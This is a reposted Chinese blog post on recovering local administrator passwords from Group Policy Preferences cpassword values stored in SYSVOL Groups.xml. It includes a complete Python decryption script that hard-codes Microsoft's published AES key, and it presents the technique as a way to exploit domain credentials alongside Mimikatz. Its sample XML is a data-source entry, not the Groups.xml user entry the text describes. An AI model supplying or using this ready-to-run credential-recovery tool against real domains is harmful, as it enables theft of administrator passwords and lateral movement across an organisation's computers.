利用域凭据:解密GPP中的管理员密码

在利用域凭据过程中,除了通过Mimikatz和WCE从内存读取明文密码外,还可以通过域共享文件夹SYSVOL组策略文件获取哈希码。

组策略首选项(Group Policy Preference, GPP)借助组策略对象(Group Policy Object, GPO)实现了对域中所有资源的管理。

这大大简化了系统管理工作。然而GPP有一个特殊的功能,它可以指定某个计算机的某个域账户为域中所有的本地计算机管理账户。为什么有些人会使用这个功能呢?原因或许是他们就是想在所有计算机上指定某个新管理员,或许他们就是想在每台主机上更新本地账户的密码。一旦管理员使用了这个机制更新了GPO,那么所有的工作站将会拥有这个账户。在GPP的域环境下,这个账户的信息存储在域里,而且所有的AD用户都可以读取它。
通过GPP发布的账户信息全部存储在\[Domain Controller]\SYSVOL[Domain]\Policies中。其中的Groups.xml文件中就有cpassword的哈希值。有关字段的具体内容大致如下:

<Properties action=”U” userDSN=”0” dsn=”test” driver=”SQL Server” description=”test data source”username=”testusername” cpassword=”AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7OltPD8tLk”/>

Cpassword变量采取了AES的加密算法,微软已经公开了它的对称AES密钥。在加密密钥已知的情况下,我们就可以破解GPP中本地管理员账户的密码。Metasploit的POST模块以及支持这种破解功能。下面是python代码的实现:

#!/usr/bin/python
#
# Gpprefdecrypt - Decrypt the password of local users added via Windows 2008 Group Policy Preferences.
#
# This tool decrypts the cpassword attribute value embedded in the Groups.xml file stored in the domain controller's Sysvol share.
#

import sys
from Crypto.Cipher import AES
from base64 import b64decode

if(len(sys.argv) != 2):
  print "Usage: gpprefdecrypt.py <cpassword>"
  sys.exit(0)

# Init the key
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = """
4e 99 06 e8  fc b6 6c c9  fa f4 93 10  62 0f fe e8
f4 96 e8 06  cc 05 79 90  20 9b 09 a4  33 b6 6c 1b
""".replace(" ","").replace("\n","").decode('hex')

# Add padding to the base64 string and decode it
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(sys.argv[1]) % 4) % 4)
password = b64decode(cpassword)

# Decrypt the password
o = AES.new(key, AES.MODE_CBC).decrypt(password)

# Print it
print o[:-ord(o[-1])].decode('utf16')

引用: http://pastebin.com/TE3fvhEh

 

来源:http://www.rootat.net/2015/08/13/GPPcpassword/

posted @ 2016-04-20 14:17  k2ng  阅读(1884)  评论(0编辑  收藏  举报